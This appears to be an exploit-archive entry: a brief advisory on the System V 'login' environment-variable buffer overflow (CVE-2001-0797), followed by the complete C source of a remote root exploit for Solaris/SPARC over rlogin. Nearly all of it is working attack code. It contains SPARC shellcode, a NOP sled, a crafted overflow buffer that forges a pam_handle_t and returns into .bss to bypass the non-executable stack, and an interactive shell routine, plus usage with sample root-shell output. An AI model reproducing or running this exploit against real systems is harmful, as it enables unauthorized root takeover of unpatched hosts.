source: http://www.securityfocus.com/bid/3681/info
 
The 'login' program is used in UNIX systems to authenticate users with a username and password. The utility is typically invoked at the console, by 'telnetd', 'rlogind', and if configured to do so, SSH.
 
Versions of 'login' descended from System V UNIX contain a buffer overflow when handling environment variables. Several operating systems such as Solaris/SunOS, HP-UX, AIX, IRIX, and Unixware contain vulnerable versions of 'login'.
 
Unauthenticated clients can exploit this issue to execute arbitrary code as root. On systems where 'login' is installed setuid root, local attackers can elevate privileges. 

/*
 * $Id: raptor_rlogin.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Buffer overflow in login in various System V based operating systems 
 * allows remote attackers to execute arbitrary commands via a large number 
 * of arguments through services such as telnet and rlogin (CVE-2001-0797).
 *
 * Dedicated to my beautiful croatian ladies (hello Zrinka!) -- August 2004
 *
 * This remote root exploit uses the (old) System V based /bin/login 
 * vulnerability via the rlogin attack vector, returning into the .bss 
 * section to effectively bypass the non-executable stack protection
 * (noexec_user_stack=1 in /etc/system).
 *
 * Many thanks to scut <scut@nb.in-berlin.de> (0dd) for his elite pam_handle_t
 * technique (see 7350logout.c), also thanks to inode <inode@deadlocks.info>.
 *
 * Usage (must be root):
 * # gcc raptor_rlogin.c -o raptor_rlogin -Wall
 * [on solaris: gcc raptor_rlogin.c -o raptor_rlogin -Wall -lxnet]
 * # ./raptor_rlogin -h 192.168.0.50
 * [...]
 * # id;uname -a;uptime;
 * uid=0(root) gid=0(root)
 * SunOS merlino 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
 *   7:45pm  up 12 day(s), 18:42,  1 user,  load average: 0.00, 0.00, 0.01
 * #
 *
 * Vulnerable platforms (SPARC):
 * Solaris 2.5.1 without patch 106160-02 [untested]
 * Solaris 2.6 without patch 105665-04 [untested]
 * Solaris 7 without patch 112300-01 [untested]
 * Solaris 8 without patch 111085-02 [tested]
 */

#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define	INFO1	"raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8"
#define	INFO2	"Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	BUFSIZE	3000			// max size of the evil buffer
#define	RETADDR	0x27184			// retaddr, should be reliable
#define	TIMEOUT	10			// net_read() default timeout
#define	CMD	"id;uname -a;uptime;\n"	// executed upon exploitation

char sc[] = /* Solaris/SPARC special shellcode (courtesy of inode) */
/* execve() + exit() */
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4"
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";

char sparc_nop[] = /* Solaris/SPARC special nop (xor %sp, %sp, %o0) */
"\x90\x1b\x80\x0e";

/* prototypes */
int	exploit_addchar(unsigned char *ww, unsigned char wc);
void	fatalerr(char *func, char *error, int fd);
int	net_connect(char *host, int port, int timeout);
int	net_read(int fd, char *buf, int size, int timeout);
int	net_resolve(char *host);
int	sc_copy(unsigned char *buf, char *str, long len);
void	set_val(char *buf, int pos, int val);
void	shell(int fd);
void	usage(char *progname);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE], *p = buf;
	char	c, *host = NULL, term[] = "vt100/9600";
	int	fd, i, found, len;
	int	timeout = TIMEOUT, debug = 0;

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* parse command line */
	if (argc < 2)
		usage(argv[0]);

	while ((c = getopt(argc, argv, "dh:t:")) != EOF)
		switch(c) {
		case 'h':
			host = optarg;
			break;
		case 't':
			timeout = atoi(optarg);
			break;
		case 'd':
			debug = 1;
			break;
		default:
			usage(argv[0]);
		}

	if (!host)
		usage(argv[0]);

	/* connect to the target host */
	fd = net_connect(host, 513, 10);
	fprintf(stderr, "# connected to remote host: %s\n", host);

	/* signal handling */
	signal(SIGPIPE, SIG_IGN);

	/* begin the rlogin session */
	memset(buf, 0, sizeof(buf));

	if (send(fd, buf, 1, 0) < 0)
		fatalerr("send", strerror(errno), fd);

	if (net_read(fd, buf, sizeof(buf), timeout) < 0)
		fatalerr("error", "Timeout reached in rlogin session", fd);

	/* dummy rlogin authentication */
	memcpy(p, "foo", 3);		// local login name
	p += 4;
	memcpy(p, "bar", 3);		// remote login name
	p += 4;
	memcpy(p, term, sizeof(term));	// terminal type
	p += sizeof(term);

	fprintf(stderr, "# performing dummy rlogin authentication\n");
	if (send(fd, buf, p - buf, 0) < 0)
		fatalerr("send", strerror(errno), fd);

	/* wait for password prompt */
	found = 0;
	memset(buf, 0, sizeof(buf));

	while (net_read(fd, buf, sizeof(buf), timeout)) {
		if (strstr(buf, "assword: ") != NULL) {
			found = 1;
			break;
		}
		memset(buf, 0, sizeof(buf));
	}

	if (!found)
		fatalerr("error", "Timeout waiting for password prompt", fd);

	/* send a dummy password */
	if (send(fd, "pass\n", 5, 0) < 0)
		fatalerr("send", strerror(errno), fd);

	/* wait for login prompt */
	found = 0;
	memset(buf, 0, sizeof(buf));

	fprintf(stderr, "# waiting for login prompt\n");
	while (net_read(fd, buf, sizeof(buf), timeout)) {
		if (strstr(buf, "ogin: ") != NULL) {
			found = 1;
			break;
		}
		memset(buf, 0, sizeof(buf));
	}

	if (!found)
		fatalerr("error", "Timeout waiting for login prompt", fd);

	fprintf(stderr, "# returning into 0x%08x\n", RETADDR);

	/* for debugging purposes */
	if (debug) {
		printf("# debug: press enter to continue");
		scanf("%c", &c);
	}

	/* prepare the evil buffer */
	memset(buf, 0, sizeof(buf));
	p = buf;

	/* login name */
	memcpy(p, "foo ", 4);
	p += 4;

	/* return address (env) */
	set_val(p, 0, RETADDR);
	p += 4;
	memcpy(p, " ", 1);
	p++;

	/* trigger the overflow (env) */
	for (i = 0; i < 60; i++, p += 2)
		memcpy(p, "a ", 2);

	/* padding */
	memcpy(p, " BBB", 4);
	p += 4;

	/* nop sled and shellcode */
	for (i = 0; i < 398; i++, p += 4)
		memcpy(p, sparc_nop, 4);
	p += sc_copy(p, sc, sizeof(sc) - 1);

	/* padding */
	memcpy(p, "BBB ", 4);
	p += 4;

	/* pam_handle_t: minimal header */
	memcpy(p, "CCCCCCCCCCCCCCCC", 16);
	p += 16;
	set_val(p, 0, RETADDR);	// must be a valid address
	p += 4;
	set_val(p, 0, 0x01);
	p += 4;

	/* pam_handle_t: NULL padding */
	for (i = 0; i < 52; i++, p += 4)
		set_val(p, 0, 0x00);

	/* pam_handle_t: pameptr must be the 65th ptr */
	memcpy(p, "\x00\x00\x00 AAAA\n", 9);
	p += 9;

	/* send the evil buffer, 256 chars a time */
	len = p - buf;
	p = buf;
	while (len > 0) {
		fprintf(stderr, "#");
		i = len > 0x100 ? 0x100 : len;
		send(fd, p, i, 0);
		len -= i;
		p += i;
		if (len)
			send(fd, "\x04", 1, 0);
		usleep(500000);
	}
	fprintf(stderr, "\n");
	
	/* wait for password prompt */
	found = 0;
	memset(buf, 0, sizeof(buf));

	fprintf(stderr, "# evil buffer sent, waiting for password prompt\n");
	while (net_read(fd, buf, sizeof(buf), timeout)) {
		if (strstr(buf, "assword: ") != NULL) {
			found = 1;
			break;
		}
		memset(buf, 0, sizeof(buf));
	}

	if (!found)
		fatalerr("error", "Most likely not vulnerable", fd);

	fprintf(stderr, "# password prompt received, waiting for shell\n");

	if (send(fd, "pass\n", 5, 0) < 0)
		fatalerr("send", strerror(errno), fd);

	/* wait for shell prompt */
	memset(buf, 0, sizeof(buf));
	found = 0;

	while (net_read(fd, buf, sizeof(buf), timeout)) {
		if (strstr(buf, "# ") != NULL) {
			found = 1;
			break;
		}
		memset(buf, 0, sizeof(buf));
	}

	if (!found)
		fatalerr("error", "Most likely not vulnerable", fd);

	/* connect to the remote shell */
	fprintf(stderr, "# shell prompt detected, successful exploitation\n\n");
	shell(fd);

	exit(0);
}

/*
 * exploit_addchar(): char translation for pam (ripped from scut)
 */
int exploit_addchar(unsigned char *ww, unsigned char wc)
{
	unsigned char * wwo = ww;

	switch (wc) {
	case ('\\'):
		*ww++ = '\\';
		*ww++ = '\\';
		break;
	case (0xff):
	case ('\n'):
	case (' '):
	case ('\t'):
		*ww++ = '\\';
		*ww++ = ((wc & 0300) >> 6) + '0';
		*ww++ = ((wc & 0070) >> 3) + '0';
		*ww++ = (wc & 0007) + '0';
		break;
	default:
		*ww++ = wc;
		break;
	}

	return (ww - wwo);
}

/*
 * fatalerr(): error handling routine
 */
void fatalerr(char *func, char *error, int fd)
{
	fprintf(stderr, "%s: %s\n", func, error);
	close(fd);
	exit(1);
}

/*
 * net_connect(): simple network connect with timeout
 */
int net_connect(char *host, int port, int timeout)
{
	int			fd, i, flags, sock_len;
	struct sockaddr_in	sin;
	struct timeval		tv;
	fd_set			fds;

	/* allocate a socket */
	if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
		perror("socket");
		exit(1);
	}

	/* bind a privileged port (FIXME) */
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	for (i = 1023; i > 0; i--) {
		sin.sin_port = htons(i);
		if (!(bind(fd, (struct sockaddr *)&sin, sizeof(sin))))
			break;
	}
	if (i == 0)
		fatalerr("error", "Can't bind a privileged port (must be root)", fd);

	/* resolve the peer address */
	sin.sin_port = htons(port);
	if (!(sin.sin_addr.s_addr = net_resolve(host)))
		fatalerr("error", "Can't resolve hostname", fd);

	/* set non-blocking */
	if ((flags = fcntl(fd, F_GETFL, 0)) < 0)
		fatalerr("fcntl", strerror(errno), fd);
	if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
		fatalerr("fcntl", strerror(errno), fd);

	/* connect to remote host */
	if (!(connect(fd, (struct sockaddr *)&sin, sizeof(sin)))) {
		if (fcntl(fd, F_SETFL, flags) < 0)
			fatalerr("fcntl", strerror(errno), fd);
		return(fd);
	}
	if (errno != EINPROGRESS)
		fatalerr("error", "Can't connect to remote host", fd);

	/* set timeout */
	tv.tv_sec = timeout;
	tv.tv_usec = 0;

	/* setup select structs */
	FD_ZERO(&fds);
	FD_SET(fd, &fds);

	/* select */
	if (select(FD_SETSIZE, NULL, &fds, NULL, &tv) <= 0)
		fatalerr("error", "Can't connect to remote host", fd);
	
	/* check if connected */
	sock_len = sizeof(sin);
	if (getpeername(fd, (struct sockaddr *)&sin, &sock_len) < 0)
		fatalerr("error", "Can't connect to remote host", fd);
	if (fcntl(fd, F_SETFL, flags) < 0)
		fatalerr("fcntl", strerror(errno), fd);
	return(fd);
}

/*
 * net_read(): non-blocking read from fd
 */
int net_read(int fd, char *buf, int size, int timeout)
{
	fd_set		fds;
	struct timeval	wait;
	int		n = -1;

	/* set timeout */
	wait.tv_sec = timeout;
	wait.tv_usec = 0;

	memset(buf, 0, size);

	FD_ZERO(&fds);
	FD_SET(fd, &fds);

	/* select with timeout */
	if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) {
		perror("select");
		exit(1);
	}

	/* read data if any */
	if (FD_ISSET(fd, &fds))
		n = read(fd, buf, size);

	return n;
}

/*
 * net_resolve(): simple network resolver
 */
int net_resolve(char *host)
{
	struct in_addr	addr;
	struct hostent	*he;

	memset(&addr, 0, sizeof(addr));

	if ((addr.s_addr = inet_addr(host)) == -1) {
		if (!(he = (struct hostent *)gethostbyname(host)))
			return(0);
		memcpy((char *)&addr.s_addr, he->h_addr, he->h_length);
	}
	return(addr.s_addr);
}

/*
 * sc_copy(): copy the shellcode, using exploit_addchar()
 */
int sc_copy(unsigned char *buf, char *str, long len)
{
	unsigned char	*or = buf;
	int 		i;

	for(i = 0; i < len; i++)
		buf += exploit_addchar(buf, str[i]);

	return(buf - or);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
	buf[pos] =	(val & 0xff000000) >> 24;
	buf[pos + 1] =	(val & 0x00ff0000) >> 16;
	buf[pos + 2] =	(val & 0x0000ff00) >> 8;
	buf[pos + 3] =	(val & 0x000000ff);
}

/*
 * shell(): semi-interactive shell hack
 */
void shell(int fd)
{
	fd_set	fds;
	char	tmp[128];
	int	n;

	/* quote Hvar 2004 */
	fprintf(stderr, "\"Da Bog da ti se mamica nahitavala s vragom po dvoristu!\" -- Bozica (Hrvatska)\n\n");

	/* execute auto commands */
	write(1, "# ", 2);
	write(fd, CMD, strlen(CMD));

	/* semi-interactive shell */
	for (;;) {
		FD_ZERO(&fds);
		FD_SET(fd, &fds);
		FD_SET(0, &fds);

		if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
			perror("select");
			break;
		}

		/* read from fd and write to stdout */
		if (FD_ISSET(fd, &fds)) {
			if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
				fprintf(stderr, "Goodbye...\n");
				break;
			}
			if (write(1, tmp, n) < 0) {
				perror("write");
				break;
			}
		}

		/* read from stdin and write to fd */
		if (FD_ISSET(0, &fds)) {
			if ((n = read(0, tmp, sizeof(tmp))) < 0) {
				perror("read");
				break;
			}
			if (write(fd, tmp, n) < 0) {
				perror("write");
				break;
			}
		}
	}

	close(fd);
	exit(1);
}

void usage(char *progname)
{
	fprintf(stderr, "usage: %s [-h host] [-t timeout] [-d]\n\n", progname);
	fprintf(stderr, "-h host\t\tdestination ip or fqdn\n");
	fprintf(stderr, "-t timeout\tnet_read() timeout (default: %d)\n", TIMEOUT);
	fprintf(stderr, "-d\t\tturn on debug mode\n\n");
	exit(1);
}
